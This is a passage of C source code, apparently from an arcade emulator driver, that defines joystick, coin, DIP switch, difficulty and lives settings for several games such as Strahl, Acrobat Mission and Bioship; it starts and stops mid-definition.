PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_DIPNAME( 0x0700, 0x0700, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW2:8,7,6") PORT_DIPSETTING( 0x0100, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0200, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x0300, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x0700, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0600, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x0500, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0400, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Free_Play ) ) PORT_DIPNAME( 0x3800, 0x3800, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW2:5,4,3") PORT_DIPSETTING( 0x0800, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x1000, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x1800, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x3800, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x3000, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x2800, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x2000, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Free_Play ) ) PORT_DIPNAME( 0x4000, 0x4000, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW2:2") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x4000, DEF_STR( On ) ) PORT_DIPNAME( 0x8000, 0x8000, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW2:1") PORT_DIPSETTING( 0x8000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0001, 0x0001, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW1:8") PORT_DIPSETTING( 0x0001, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0002, 0x0000, DEF_STR( Language ) ) PORT_DIPLOCATION("SW1:7") PORT_DIPSETTING( 0x0000, DEF_STR( English ) ) PORT_DIPSETTING( 0x0002, DEF_STR( Japanese ) ) PORT_DIPNAME( 0x000c, 0x000c, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:6,5") PORT_DIPSETTING( 0x0004, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x000c, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x0008, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Hardest ) ) PORT_DIPNAME( 0x0010, 0x0010, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW1:4") PORT_DIPSETTING( 0x0010, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0020, 0x0020, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW1:3") PORT_DIPSETTING( 0x0020, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x00c0, 0x00c0, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW1:2,1") PORT_DIPSETTING( 0x0000, "1" ) PORT_DIPSETTING( 0x0040, "2" ) PORT_DIPSETTING( 0x00c0, "3" ) PORT_DIPSETTING( 0x0080, "4" ) PORT_START("DSW2") INPUT_PORTS_END static INPUT_PORTS_START( hachamfb ) PORT_START("IN0") PORT_BIT( 0x01, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x02, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x04, IP_ACTIVE_LOW, IPT_SERVICE1 ) PORT_BIT( 0x08, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_UNKNOWN ) //bryan: test mode in some games? PORT_START("IN1") PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_DIPNAME( 0x01, 0x01, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW1:8") PORT_DIPSETTING( 0x01, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x02, 0x00, DEF_STR( Language ) ) PORT_DIPLOCATION("SW1:7") PORT_DIPSETTING( 0x00, DEF_STR( English ) ) PORT_DIPSETTING( 0x02, DEF_STR( Japanese ) ) PORT_DIPNAME( 0x0c, 0x0c, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:6,5") PORT_DIPSETTING( 0x04, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x0c, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x08, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x00, DEF_STR( Hardest ) ) PORT_DIPNAME( 0x10, 0x10, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW1:4") PORT_DIPSETTING( 0x10, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x20, 0x20, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW1:3") PORT_DIPSETTING( 0x20, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0xc0, 0xc0, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW1:2,1") PORT_DIPSETTING( 0x00, "1" ) PORT_DIPSETTING( 0x40, "2" ) PORT_DIPSETTING( 0xc0, "3" ) PORT_DIPSETTING( 0x80, "4" ) PORT_START("DSW2") PORT_DIPNAME( 0x01, 0x01, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW2:8") PORT_DIPSETTING( 0x00, DEF_STR( Off ) ) PORT_DIPSETTING( 0x01, DEF_STR( On ) ) PORT_DIPNAME( 0x02, 0x02, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x00, DEF_STR( Off ) ) PORT_DIPSETTING( 0x02, DEF_STR( On ) ) PORT_DIPNAME( 0x04, 0x04, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW2:6") // turning these 3 off results in a broken freeplay mode, probably a leftover from the bootleg not simulating coinage settings PORT_DIPSETTING( 0x00, DEF_STR( Off ) ) PORT_DIPSETTING( 0x04, DEF_STR( On ) ) PORT_DIPNAME( 0x08, 0x08, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW2:5") // ^ PORT_DIPSETTING( 0x00, DEF_STR( Off ) ) PORT_DIPSETTING( 0x08, DEF_STR( On ) ) PORT_DIPNAME( 0x10, 0x10, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW2:4") // ^ PORT_DIPSETTING( 0x00, DEF_STR( Off ) ) PORT_DIPSETTING( 0x10, DEF_STR( On ) ) PORT_DIPNAME( 0x20, 0x20, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW2:3") // likewise turning these 3 off PORT_DIPSETTING( 0x00, DEF_STR( Off ) ) PORT_DIPSETTING( 0x20, DEF_STR( On ) ) PORT_DIPNAME( 0x40, 0x40, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW2:2") // ^ PORT_DIPSETTING( 0x00, DEF_STR( Off ) ) PORT_DIPSETTING( 0x40, DEF_STR( On ) ) PORT_DIPNAME( 0x80, 0x80, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW2:1") // ^ PORT_DIPSETTING( 0x00, DEF_STR( Off ) ) PORT_DIPSETTING( 0x80, DEF_STR( On ) ) INPUT_PORTS_END static INPUT_PORTS_START( hachamfp ) PORT_INCLUDE(hachamfb) PORT_MODIFY("DSW1") PORT_DIPNAME( 0x0001, 0x0001, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW1:8") PORT_DIPSETTING( 0x0001, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0002, 0x0002, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:7") PORT_DIPSETTING( 0x0002, DEF_STR( Japanese ) ) PORT_DIPSETTING( 0x0000, DEF_STR( English ) ) PORT_DIPNAME( 0x000c, 0x000c, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:6,5") PORT_DIPSETTING( 0x0004, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x000c, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x0008, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Hardest ) ) PORT_DIPNAME( 0x0010, 0x0010, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:4") PORT_DIPSETTING( 0x0010, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0020, 0x0020, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW1:3") PORT_DIPSETTING( 0x0020, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x00c0, 0x00c0, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW1:2,1") PORT_DIPSETTING( 0x0000, "1" ) PORT_DIPSETTING( 0x0040, "2" ) PORT_DIPSETTING( 0x00c0, "3" ) PORT_DIPSETTING( 0x0080, "4" ) PORT_MODIFY("DSW2") PORT_DIPNAME( 0x0001, 0x0001, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:8") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0001, DEF_STR( On ) ) PORT_DIPNAME( 0x0002, 0x0002, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW2:7") PORT_DIPSETTING( 0x0000, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0002, DEF_STR( On ) ) PORT_DIPNAME( 0x001c, 0x001c, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW2:4,5,6") PORT_DIPSETTING( 0x0010, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0008, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x0018, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x001c, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x000c, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x0014, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0004, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Free_Play ) ) PORT_DIPNAME( 0x00e0, 0x00e0, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW2:1,2,3") PORT_DIPSETTING( 0x0080, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0040, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x00c0, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x00e0, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0060, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x00a0, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0020, DEF_STR( 1C_4C ) ) PORT_DIPSETTING( 0x0000, DEF_STR( Free_Play ) ) INPUT_PORTS_END static INPUT_PORTS_START( strahl ) PORT_START("IN0") PORT_BIT( 0x01, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x02, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x04, IP_ACTIVE_LOW, IPT_SERVICE1 ) PORT_BIT( 0x08, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_UNKNOWN ) //bryan: test mode in some games? PORT_START("IN1") PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_DIPNAME( 0x07, 0x07, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW1:1,2,3") PORT_DIPSETTING( 0x00, DEF_STR( 5C_1C ) ) PORT_DIPSETTING( 0x01, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x02, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x03, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x07, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x06, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x05, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x04, DEF_STR( 1C_4C ) ) PORT_DIPNAME( 0x38, 0x38, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW1:4,5,6") PORT_DIPSETTING( 0x00, DEF_STR( 5C_1C ) ) PORT_DIPSETTING( 0x08, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x10, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x18, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x38, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x30, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x28, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x20, DEF_STR( 1C_4C ) ) PORT_DIPNAME( 0x40, 0x40, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW1:7") PORT_DIPSETTING( 0x40, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x80, 0x00, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW1:8") PORT_DIPSETTING( 0x80, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_START("DSW2") PORT_DIPNAME( 0x03, 0x03, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW2:1,2") PORT_DIPSETTING( 0x02, "2" ) PORT_DIPSETTING( 0x03, "3" ) PORT_DIPSETTING( 0x01, "4" ) PORT_DIPSETTING( 0x00, "5" ) PORT_DIPNAME( 0x0c, 0x0c, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW2:3,4") PORT_DIPSETTING( 0x08, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x0c, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x04, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x00, DEF_STR( Hardest ) ) PORT_DIPNAME( 0x10, 0x10, DEF_STR( Unused ) ) PORT_DIPLOCATION("SW2:5") PORT_DIPSETTING( 0x10, DEF_STR( Off ) ) PORT_DIPSETTING( 0x00, DEF_STR( On ) ) PORT_DIPNAME( 0x60, 0x60, DEF_STR( Bonus_Life ) ) PORT_DIPLOCATION("SW2:6,7") PORT_DIPSETTING( 0x40, "100k and every 200k" ) PORT_DIPSETTING( 0x60, "200k and every 200k" ) PORT_DIPSETTING( 0x20, "300k and every 300k" ) PORT_DIPSETTING( 0x00, DEF_STR( None ) ) PORT_SERVICE_DIPLOC( 0x80, IP_ACTIVE_LOW, "SW2:8" ) INPUT_PORTS_END static INPUT_PORTS_START( strahljbl ) PORT_INCLUDE(strahl) PORT_START("COIN") // referenced by Seibu sound board PORT_BIT( 0xff, IP_ACTIVE_LOW, IPT_UNKNOWN ) INPUT_PORTS_END static INPUT_PORTS_START( acrobatm ) PORT_START("IN0") PORT_BIT( 0x01, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x02, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x04, IP_ACTIVE_LOW, IPT_SERVICE1 ) PORT_BIT( 0x08, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("IN1") PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_BUTTON3 ) PORT_PLAYER(1) // used by secret code PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_DIPNAME( 0x0001, 0x0000, DEF_STR( Demo_Sounds ) ) PORT_DIPLOCATION("SW1:8") PORT_DIPSETTING( 0x0001, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0002, 0x0002, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW1:7") PORT_DIPSETTING( 0x0002, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x001C, 0x001C, DEF_STR( Coin_B ) ) PORT_DIPLOCATION("SW1:6,5,4") PORT_DIPSETTING( 0x0000, DEF_STR( 5C_1C ) ) PORT_DIPSETTING( 0x0010, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0008, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x0018, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x001C, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x000C, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x0014, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0004, DEF_STR( 1C_4C ) ) PORT_DIPNAME( 0x00E0, 0x00E0, DEF_STR( Coin_A ) ) PORT_DIPLOCATION("SW1:3,2,1") PORT_DIPSETTING( 0x0000, DEF_STR( 5C_1C ) ) PORT_DIPSETTING( 0x0080, DEF_STR( 4C_1C ) ) PORT_DIPSETTING( 0x0040, DEF_STR( 3C_1C ) ) PORT_DIPSETTING( 0x00C0, DEF_STR( 2C_1C ) ) PORT_DIPSETTING( 0x00E0, DEF_STR( 1C_1C ) ) PORT_DIPSETTING( 0x0060, DEF_STR( 1C_2C ) ) PORT_DIPSETTING( 0x00A0, DEF_STR( 1C_3C ) ) PORT_DIPSETTING( 0x0020, DEF_STR( 1C_4C ) ) PORT_START("DSW2") PORT_SERVICE_DIPLOC( 0x01, IP_ACTIVE_LOW, "SW2:8" ) PORT_DIPNAME( 0x06, 0x06, DEF_STR( Bonus_Life ) ) PORT_DIPLOCATION("SW2:7,6") PORT_DIPSETTING( 0x02, "50k and 100k" ) PORT_DIPSETTING( 0x06, "100k and 100k" ) PORT_DIPSETTING( 0x04, "100k and 200k" ) PORT_DIPSETTING( 0x00, DEF_STR( None ) ) PORT_DIPNAME( 0x08, 0x00, DEF_STR( Language ) ) PORT_DIPLOCATION("SW2:5") PORT_DIPSETTING( 0x00, DEF_STR( English ) ) PORT_DIPSETTING( 0x08, DEF_STR( Japanese ) ) PORT_DIPNAME( 0x30, 0x30, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW2:4,3") PORT_DIPSETTING( 0x00, DEF_STR( Hardest ) ) PORT_DIPSETTING( 0x10, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x20, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x30, DEF_STR( Normal ) ) PORT_DIPNAME( 0xc0, 0xc0, DEF_STR( Lives ) ) PORT_DIPLOCATION("SW2:2,1") PORT_DIPSETTING( 0x40, "2" ) PORT_DIPSETTING( 0xc0, "3" ) PORT_DIPSETTING( 0x80, "4" ) PORT_DIPSETTING( 0x00, "5" ) INPUT_PORTS_END static INPUT_PORTS_START( bioship ) PORT_START("IN0") PORT_BIT( 0x01, IP_ACTIVE_LOW, IPT_COIN1 ) PORT_BIT( 0x02, IP_ACTIVE_LOW, IPT_COIN2 ) PORT_BIT( 0x04, IP_ACTIVE_LOW, IPT_SERVICE1 ) PORT_BIT( 0x08, IP_ACTIVE_LOW, IPT_START1 ) PORT_BIT( 0x10, IP_ACTIVE_LOW, IPT_START2 ) PORT_BIT( 0x20, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x40, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x80, IP_ACTIVE_LOW, IPT_UNKNOWN ) //bryan: test mode in some games? PORT_START("IN1") PORT_BIT( 0x0001, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0002, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0004, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0008, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(1) PORT_BIT( 0x0010, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(1) PORT_BIT( 0x0020, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(1) PORT_BIT( 0x0040, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0080, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x0100, IP_ACTIVE_LOW, IPT_JOYSTICK_RIGHT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0200, IP_ACTIVE_LOW, IPT_JOYSTICK_LEFT ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0400, IP_ACTIVE_LOW, IPT_JOYSTICK_DOWN ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x0800, IP_ACTIVE_LOW, IPT_JOYSTICK_UP ) PORT_8WAY PORT_PLAYER(2) PORT_BIT( 0x1000, IP_ACTIVE_LOW, IPT_BUTTON1 ) PORT_PLAYER(2) PORT_BIT( 0x2000, IP_ACTIVE_LOW, IPT_BUTTON2 ) PORT_PLAYER(2) PORT_BIT( 0x4000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_BIT( 0x8000, IP_ACTIVE_LOW, IPT_UNKNOWN ) PORT_START("DSW1") PORT_DIPNAME( 0x0001, 0x0001, DEF_STR( Flip_Screen ) ) PORT_DIPLOCATION("SW1:8") PORT_DIPSETTING( 0x0001, DEF_STR( Off ) ) PORT_DIPSETTING( 0x0000, DEF_STR( On ) ) PORT_DIPNAME( 0x0006, 0x0006, DEF_STR( Difficulty ) ) PORT_DIPLOCATION("SW1:7,6") PORT_DIPSETTING( 0x0000, DEF_STR( Easy ) ) PORT_DIPSETTING( 0x0006, DEF_STR( Normal ) ) PORT_DIPSETTING( 0x0002, DEF_STR( Hard ) ) PORT_DIPSETTING( 0x0004, DEF_STR( Hardest ) ) PORT_SERVICE_DIPLOC( 0x0008, IP_ACTIVE_LOW, "SW1:5" ) PORT_DIPNAME( 0x0010, 0x0010, DEF_STR( Unknown ) ) PORT_DIPLOCATION("SW1:4") PORT_DIPSETTING( 